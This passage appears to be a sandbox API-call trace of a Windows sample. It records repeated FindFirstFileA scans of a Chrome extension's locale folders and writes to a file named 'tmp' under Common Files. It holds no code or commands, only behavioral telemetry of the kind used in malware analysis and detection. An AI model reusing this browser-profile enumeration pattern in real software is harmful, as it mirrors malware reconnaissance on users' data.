returned 0x12 [0142.590] AreFileApisANSI () returned 1 [0142.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.590] GetFileType (hFile=0x128) returned 0x1 [0142.590] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.636] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.636] GetLastError () returned 0x12 [0142.636] AreFileApisANSI () returned 1 [0142.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.636] GetFileType (hFile=0x128) returned 0x1 [0142.636] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.636] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.637] GetLastError () returned 0x12 [0142.637] AreFileApisANSI () returned 1 [0142.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.637] GetFileType (hFile=0x128) returned 0x1 [0142.637] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.683] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.683] GetLastError () returned 0x12 [0142.683] AreFileApisANSI () returned 1 [0142.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.683] GetFileType (hFile=0x128) returned 0x1 [0142.683] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.683] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.685] GetLastError () returned 0x12 [0142.685] AreFileApisANSI () returned 1 [0142.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.685] GetFileType (hFile=0x128) returned 0x1 [0142.685] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.729] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.730] GetLastError () returned 0x12 [0142.730] AreFileApisANSI () returned 1 [0142.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.730] GetFileType (hFile=0x128) returned 0x1 [0142.730] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.730] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.730] GetLastError () returned 0x12 [0142.731] AreFileApisANSI () returned 1 [0142.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.731] GetFileType (hFile=0x128) returned 0x1 [0142.731] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.776] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.776] GetLastError () returned 0x12 [0142.776] AreFileApisANSI () returned 1 [0142.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.777] GetFileType (hFile=0x128) returned 0x1 [0142.777] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.777] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.777] GetLastError () returned 0x12 [0142.777] AreFileApisANSI () returned 1 [0142.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.778] GetFileType (hFile=0x128) returned 0x1 [0142.778] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.823] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.824] GetLastError () returned 0x12 [0142.824] AreFileApisANSI () returned 1 [0142.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.824] GetFileType (hFile=0x128) returned 0x1 [0142.824] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.824] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.824] GetLastError () returned 0x12 [0142.825] AreFileApisANSI () returned 1 [0142.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.825] GetFileType (hFile=0x128) returned 0x1 [0142.825] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.870] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.870] GetLastError () returned 0x12 [0142.870] AreFileApisANSI () returned 1 [0142.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.870] GetFileType (hFile=0x128) returned 0x1 [0142.870] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.871] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.871] GetLastError () returned 0x12 [0142.871] AreFileApisANSI () returned 1 [0142.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.871] GetFileType (hFile=0x128) returned 0x1 [0142.871] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.918] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.918] GetLastError () returned 0x12 [0142.918] AreFileApisANSI () returned 1 [0142.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.918] GetFileType (hFile=0x128) returned 0x1 [0142.918] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.919] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.919] GetLastError () returned 0x12 [0142.919] AreFileApisANSI () returned 1 [0142.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.919] GetFileType (hFile=0x128) returned 0x1 [0142.919] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.963] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.963] GetLastError () returned 0x12 [0142.963] AreFileApisANSI () returned 1 [0142.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.964] GetFileType (hFile=0x128) returned 0x1 [0142.964] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.964] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.964] GetLastError () returned 0x12 [0142.964] AreFileApisANSI () returned 1 [0142.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.964] GetFileType (hFile=0x128) returned 0x1 [0142.964] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.011] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.011] GetLastError () returned 0x12 [0143.011] AreFileApisANSI () returned 1 [0143.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.011] GetFileType (hFile=0x128) returned 0x1 [0143.011] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, 